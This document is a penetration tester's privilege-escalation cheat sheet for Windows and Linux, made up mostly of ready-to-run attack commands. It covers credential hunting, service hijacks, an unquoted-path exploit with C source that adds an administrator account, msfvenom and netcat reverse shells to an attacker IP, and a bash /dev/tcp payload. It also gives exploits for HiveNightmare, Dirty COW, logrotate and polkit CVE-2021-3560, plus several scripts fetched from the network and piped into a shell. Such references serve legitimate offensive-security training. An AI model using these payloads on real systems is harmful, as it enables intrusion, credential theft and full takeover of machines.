LPE

Local Privilege Escalation

Windows

Local Enumeration

Disable PS history when enumerating around:

PS > Set-PSReadlineOption -HistorySaveStyle SaveNothing

User Info

PS > whoami == dir env:
PS > whoami /groups == ([System.Security.Principal.WindowsIdentity]("$env:USERNAME")).Groups | % { $_.Translate([Security.Principal.NTAccount]) } | select -ExpandProperty value
PS > (New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

System Info

PS > Get-ComputerInfo
Cmd > systeminfo
PS > [Environment]::Is64BitOperatingSystem
Cmd > (WMIC OS Get OSArchitecture)[2]

Products & Services

Cmd > WMIC Product GET Name
Cmd > WMIC Service Where "State='Running'" Get Name,DisplayName,PathName,StartMode,State | findstr /i auto | findstr /iv C:\Windows

Network & Process

PS > Get-Process
PS > [Environment]::Is64BitProcess
Cmd > tasklist /SVC
Cmd > net start
Cmd > ipconfig /all
Cmd > netstat -ano | findstr /i list
PS > Get-NetTCPConnection -State Listen
PS > [System.Net.Dns]::GetHostAddresses('hostname') | % {$_.IPAddressToString}
PS > (Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings").ProxyServer
Cmd > route print [-4]
Cmd > reg query HKLM\SYSTEM\CurrentControlSet\Services\NPCAP

Registry & Filesystem

PS > gci . -recurse -file -ea SilentlyContinue | select fullname
PS > gci "$env:userprofile" -recurse -file -ea SilentlyContinue | select fullname
PS > gi (Get-PSReadLineOption).HistorySavePath
PS > gc $env:appdata\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
PS > cmd /c dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
PS > cmd /c where /R C:\ *.ini
PS > cmd /c 'cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt'
PS > reg query HKLM /f "password" /t REG_SZ /s
PS > reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | findstr /i "DefaultUserName DefaultDomainName DefaultPassword AltDefaultUserName AltDefaultDomainName AltDefaultPassword LastUsedUsername"
Or
PS > Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" | select DefaultPassword
PS > reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" | findstr /i proxy
PS > [System.Net.WebRequest]::DefaultWebProxy.GetProxy("http://example.com/test.txt")

Users & Groups

PS > Get-LocalGroup
PS > Get-LocalGroupMember Administrators
PS > [wmi] "Win32_userAccount.Domain='$env:computername',Name='Administrator'"

Add user to the builtin local Administrators group on an any-language system:

Cmd > powershell.exe net localgroup (gwmi -Class Win32_Group -Filter 'LocalAccount=True AND SID="""S-1-5-32-544"""').Name snovvcrash /add

AccessChk

Find weak file permissions:

Cmd > .\accesschk.exe /accepteula -uwsq Users c:\*.*
Cmd > .\accesschk.exe /accepteula -uwsq "Authenticated Users" c:\*.*

Find weak directory permissions:

Cmd > .\accesschk.exe /accepteula -uwdsq Users c:\
Cmd > .\accesschk.exe /accepteula -uwdsq "Authenticated Users" c:\

Find weak service permissions:

Cmd > .\accesschk.exe /accepteula -uwcqv Users *
Cmd > .\accesschk.exe /accepteula -uwcqv "Authenticated Users" *

upnphost & SSDPSRV (Windows XP)

Weak Service Permissions

Check service permissions with a script:

PS > Get-ServiceAcl -Name VulnerableSvc | select -ExpandProperty Access

Change ownership of the malicious binary to LocalSystem:

PS > $Acl = Get-ACL $filename
PS > $AccessRule= New-Object System.Security.AccessControl.FileSystemAccessRule("NT AUTHORITY\LocalSystem", "FullControl", "none", "none", "Allow")
PS > $Acl.AddAccessRule($AccessRule)
PS > Set-Acl $filename $Acl

Set binPath to point to the malicious binary and trigger vulnerable service:

PS > cmd /c sc config VulnerableSvc binPath= "pwn.exe" obj= LocalSystem start= demand
PS > cmd /c sc qc VulnerableSvc
PS > cmd /c sc start VulnerableSvc

Unquoted Service Paths

CreateProcessA function parses an unquoted BINARY_PATH_NAME like follows:

C:\Program Files\Vulnerable Service\Vuln Service.exe
  -> C:\Program.exe
  -> C:\Program Files\Vulnerable.exe
  -> C:\Program Files\Vulnerable Service\Vuln.exe
  -> C:\Program Files\Vulnerable Service\Vuln Service.exe

It gives an attacker the ability to inject malicious binary into path to be executed with vulnerable service permissions if she has enough privileges to write into one of these directories:

PS > Get-Acl -Path "C:\Program Files\Vulnerable Service\" | fl

List services and their binary path:

PS > wmic service get name, pathname

Query VulnerableSvc:

Cmd > sc qc VulnerableSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VulnerableSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Vulnerable Service\Vuln Service.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Vulnerable Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

Exploit VulnerableSvc:

Cmd > move pwn.exe "C:\Program Files\Sub Directory\Vuln.exe"
Cmd > sc stop VulnerableSvc
Cmd > sc start VulnerableSvc
...Or reboot the PC if the attacker has SeShutdownPrivilege...
Cmd > shutdown /r /t 0

Malious binary example:

pwn.c
// i686-w64-mingw32-gcc -o pwn.exe pwn.c

#include <stdio.h>
#include <stdlib.h>

void main() {
    system("net user snovvcrash Passw0rd! /add && net localgroup administrators snovvcrash /add");
}

Always Install Elevated

Check:

Cmd > reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
Cmd > reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Exploit:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f msi -o rev.msi
Cmd > msiexec /quiet /qn /i rev.msi

wuauserv

PS > Get-Acl HKLM:\SYSTEM\CurrentControlSet\services\* | format-list * | findstr /i "snovvcrash Users Path ChildName"
PS > Get-ItemProperty HKLM:\System\CurrentControlSet\services\wuauserv
PS > reg add "HKLM\System\CurrentControlSet\services\wuauserv" /t REG_EXPAND_SZ /v ImagePath /d "C:\Windows\System32\spool\drivers\color\nc.exe 10.10.13.37 1337 -e powershell" /f
PS > Start-Service wuauserv
...get reverse shell...
PS > Get-Service wuauserv
PS > Stop-Service wuauserv

UPnP Device Host Service

CVE-2019-1405, CVE-2019-1322 - Windows 10, version 1803 < 1809

Cmd > .\COMahawk64.exe "C:\Temp\pwn.exe"

RpcEptMapper

CVE-2021-27091

Potentionally vulnerable Windows versions:

  • Windows 7

  • Windows Server 2008 R2

  • Windows 8

  • Windows Server 2012

Compile into Release and exploit:

Cmd > .\Perfusion.exe -c cmd -i

HiveNightmare

CVE-2021–36934

PowerShell one-liner:

PS > powershell -c "foreach ($i in 1..10){$p='\\.\HarddiskVolumeShadowCopy{0}\windows\system32\config\' -f $i; gi $($p+'SAM'),$($p+'SECURITY'),$($p+'SYSTEM') -ErrorAction SilentlyContinue | % {cp $_.FullName $($_.BaseName+$i)}}"

.NET Sandboxes

When an attacker can compile arbitrary code in privileged context but a Sandbox is in game (like in uMod) the following approaches can be leveraged to gain admin privs:

  • Registry keys manipulation.

  • Deserialization attacks.

Example #1 (Registry) - AlwaysInstallElevated:

using Microsoft.Win32;
...
using (var hklm = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64))
using (var key = hklm.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows\Installer", true))
{
	key.SetValue("AlwaysInstallElevated", 0x1, RegistryValueKind.DWord);
}

using (var hkcu = RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64))
using (var key = hkcu.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows\Installer", true))
{
	key.SetValue("AlwaysInstallElevated", 0x1, RegistryValueKind.DWord);
}
...

Example #2 (Registry) - Service binary path:

using Microsoft.Win32;
...
RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\services\wuauserv", true);
if (key != null)
{
   key.SetValue("ImagePath", "c:\windows\system32\spool\drivers\color\nc.exe -e powershell.exe 10.10.13.37 4444", RegistryValueKind.String);
   key.Close();
}
...

Example #3 (Deserialization) - BinaryFormatter:

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
...
byte[] payload = Convert.FromBase64String("<BASE64_PAYLOAD>");
//string payload_decoded = Encoding.UTF8.GetString(payload);
BinaryFormatter formatter = new BinaryFormatter();
Stream stream = new MemoryStream(payload);
object obj = formatter.Deserialize(stream);
...

MSI Abuses

Tools

Windows-Exploit-Suggester

$ python -u windows-exploit-suggester.py -d 2020-09-02-mssb.xls -i systeminfo.txt --ostext 'windows 10 64-bit' --hotfixes hotfixes.txt | tee out.txt

PowerUp

PS > Invoke-PrivescAudit

JAWS

PS > .\jaws-enum.ps1 -OutputFileName out.txt

winPEAS

Run from memory:

*Evil-WinRM* PS > menu
*Evil-WinRM* PS > Bypass-4MSI
*Evil-WinRM* PS > Invoke-Binary winPEASany.exe quiet log
Or
PS > [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
PS > $url = "https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/binaries/Release/winPEASany.exe"
PS > $wp = [System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content));
PS > [winPEAS.Program]::Main("quiet log")

PrivescCheck

PS > Invoke-PrivescCheck -Extended | tee out.txt

Seatbelt

PS > .\Seatbelt.exe CredEnum
PS > .\Seatbelt.exe ScheduledTasks -outputfile=out.txt
PS > Invoke-Seatbelt -Command "-group=all"
PS > Invoke-Seatbelt -Command "-group=system"
PS > Invoke-Seatbelt -Command "-group=user"

Linux

Disable shell history when enumerating around:

$ unset HISTFILE

Filesystem

Grep for sensitive keywords:

$ grep -nir passw /etc/ 2>/dev/null

Find and list all files newer than 2020-03-16 and not newer than 2020-03-17:

$ find / -type f -readable -newermt '2020-03-16' ! -newermt '2020-03-17' -ls 2>/dev/null

Find SUID binaries:

 # User
$ find / -type f -perm /4000 -ls 2>/dev/null
 # Group
$ find / -type f -perm /2000 -ls 2>/dev/null
 # Both
$ find / -type f -perm /6000 -ls 2>/dev/null

Dirty COW

$ curl -L https://github.com/FireFart/dirtycow/raw/master/dirty.c > dirty.c
$ gcc dirty.c -o dirty -pthread -lcrypt
$ ./dirty Passw0rd
$ su firefart

logrotate

$ curl https://github.com/whotwagner/logrotten/raw/master/logrotten.c > lr.c
$ gcc lr.c -o lr

$ cat payloadfile
if [ `id -u` -eq 0 ]; then (bash -c 'bash -i >& /dev/tcp/10.10.15.171/9001 0>&1' &); fi

$ ./lr -p ./payload -t /home/snovvcrash/backups/access.log -d

motd

/etc/update-motd.d/:

$ shellpop --reverse --number 8 -H 127.0.0.1 -P 1337 --base64
$ echo '<BASE64_SHELL>' >> 00-header
* Fire up new SSH session and catch the reverse shell

PAM MOTD:

polkit/dbus-daemon

CVE-2021-3560

Calculate the approximate time for dbus-send to fail:

$ time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:snovvcrash string:snovvcrash int32:1
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required

real    0m0.014s
user    0m0.003s
sys     0m0.001s

Divide it by 2 or by 3 and create a new user account (you might want to experiment with the number of milliseconds in the delay and repeat the process a couple of times if needed):

$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:snovvcrash string:snovvcrash int32:1 & sleep 0.005s; kill $!
[1] 16405
$
[1]+  Terminated              dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:snovvcrash string:snovvcrash int32:1
$ id snovvcrash
uid=1003(snovvcrash) gid=1003(snovvcrash) groups=1003(snovvcrash),27(sudo)

Then set a password for it, sudo into a privilege shell and you are root:

$ openssl passwd -5 'N3V3RF34RI15H3R3!'
$5$a/AGYekwlZrxQMTH$lrcXNqyEZhg6V6Rk2kqxwKtAQ5mb3cip6T1XjOgcoP0
$ dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1003 org.freedesk
top.Accounts.User.SetPassword string:'$5$a/AGYekwlZrxQMTH$lrcXNqyEZhg6V6Rk2kqxwKtAQ5mb3cip6T1XjOgcoP0' string:HelloWorld & sleep 0.005s; kill $!
[1] 16540
$
[1]+  Terminated              dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1003 org.freedesktop.Accounts.User.SetPassword string:'$5$a/AGYekwlZrxQMTH$lrcXNqyEZhg6V6Rk2kqxwKtAQ5mb3cip6T1XjOgcoP0' string:HelloWorld
$ su snovvcrash
$ sudo -i
[sudo] password for snovvcrash:
 # id
uid=0(root) gid=0(root) groups=0(root)

Tools

LinEnum

$ bash <(wget -qO- https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh) -t -e /dev/shm/ -r out.txt

linux-smart-enumeration

$ sh <(wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh -qO-) -i | tee /dev/shm/out.txt

linPEAS

$ sh <(wget -qO- https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh) -q | tee /dev/shm/out.txt

linux-exploit-suggester

Locally on target:

$ sh <(wget -qO- https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh) | tee /dev/shm/out.txt

On Attacker box providing uname output from Victim:

Victim$ uname -a
Attacket$ curl -sL https://github.com/mzet-/linux-exploit-suggester/raw/master/linux-exploit-suggester.sh > les.sh && chmod +x les.sh
Attacket$ ./les.sh --uname <UNAME_STRING>

SUID3NUM

$ python <(wget -qO- https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py)

htbenum

pspy

A lightweight alternative with Bash:

pspy.sh
#!/usr/bin/env bash

old=$(ps -eo command)

while true; do
        new=$(ps -eo command)
        diff <(echo "$old") <(echo "$new") | grep [\<\>]
        sleep .3
        old=$new
done

Old Ubuntu Quick Deploy (Cheatsheet)

$ sudo sed -i -re 's/([a-z]{2}\.)?archive.ubuntu.com|security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list
$ sudo apt-get update
$ sudo apt-get install linux-image-$(uname -r)
$ gksudo gedit /etc/default/grub
  GRUB_TIMEOUT=-1
  #GRUB_HIDDEN_TIMEOUT=0
$ sudo update-grub
$ sudo reboot  # (on boot select the kernel from "Previous Linux versions")
$ sudo apt-get install build-essential gcc-multilib
$ GIT_SSL_NO_VERIFY=1 git clone https://github.com/<EXP_AUTHOR>/<EXP_REPO>

Last updated